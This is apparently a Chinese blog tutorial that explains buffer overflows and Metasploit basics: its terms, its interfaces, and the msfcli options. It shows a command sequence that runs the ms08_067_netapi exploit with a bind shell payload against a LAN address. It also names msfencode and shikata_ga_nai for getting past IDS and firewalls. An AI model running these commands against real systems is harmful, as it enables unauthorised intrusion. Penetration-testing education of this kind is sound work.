关于metasploit缓冲区溢出的一点点介绍
缓冲区溢出好比是正常情况下,把三升的水倒入这个只有一升的杯子的时候,可想而知,多出来的部分就会溢出杯子
洒到桌子上甚至满地都是水,我们的计算机也是一样,当黑客向缓冲区填充数据,而这个数据的长度超过了缓冲区本身的容量后
数据就会溢出储存空间,装不下的数据就会覆盖在合法的数据上,导致程序的出错乃至崩溃,这就是缓冲区溢出的原理,但是
缓冲区仅仅溢出,这只是一个问题,到这里,它并没有破坏性,但如果说能够精确地导入事先准备好的水时,比如1.325升水
那么溢出的也就是0.325升水,黑客用编写好的攻击代码,使操作系统或者应用程序等出现缓冲区溢出,由于是事先已经精确定义
所以也将会导致黑客们想要得到的结果,比如死机,重启,获取rootshell,下载木马等等.. 这个时候你的系统或者程序已经被黑客控制了。
关于metasploit的介绍我就不多说了,下列地址可以详细查看
metasploit百度百科:http://baike.baidu.com/view/3066432.htm
名称解释:
exploit
测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的
有内存溢出,网站程序漏洞利用,配置错误exploit。
payload
我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一
个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只
能在目标机器上执行有限命令的程序。
shellcode
是进行攻击时的一系列被当作payload 的指令,通常在目标机器上执行之后提供一个可
执行命令的shell。
module
MSF 的模块,由一系列代码组成。
listener
等待来自被攻击机器的incoming 连接的监听在测试者机器上的程序。
下面的说下metasploit的基础吧....
1、MSF 提供多种用户界面:控制台模式(msfconsole),命令行模式(msfcli),图形模式(msfgui、
armitage),(在老版本中还有web 界面模式,后来貌似由于安全因素被取消了?)其中console
模式最常用,启动方式:
cd /opt/framework/msf3/
msfconsole
运行此命令后将进入msf 命令提示符:
msf>
2、获取命令的帮助信息:help
例子:
help connect
3、msfcli 和msfconsole 相比不提供交互方式,它直接从命令行输入所有参数并产生结果,
msfcli –h #获取帮助信息
msfcli <exploit_name> <option=value> [mode]
------------------------------------------------------------------------------
mode:H(help)帮助
S(summary)显示模块信息
O(options)显示模块的可用选项
A(advanced)显示高级选项
I(ids)显示IDS EVASION 选项
P(payload)显示此模块可用的payload
T(targets)显示可用targets
4
AC(action)显示可用actions
C(check)运行模块测试
E(execute)执行选定的模块
--------------------------------------------------------------------------------------
例子:ms08_067_netapi 模块
msfcli windows/smb/ms08_067_netapi O #查看可用选项
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 P #查看可用payload
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 PAYLOAD=windows/shell/bind_tcp E
#执行(此处O、P 等参数也可以用小写)
4、Armitage :MSF 的一个图形接口
运行方式:
cd /opt/farmework/msf3/
armitage www.2cto.com
5、MSF 其他组件:
MSFpayload 工具:
用于生成shellcode,可生成C,Ruby,JaveScript,VB 格式的shellcode。
帮助信息:
msfpayload –h
MSFencode 工具:
编码压缩shellcode,过IDS ,防火墙。
msfencode -h
msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai
好了,没什么时间写文章.....
上一篇: Kali sqlmap更新问题
下一篇: jQuery控制TR显示隐藏的几种方法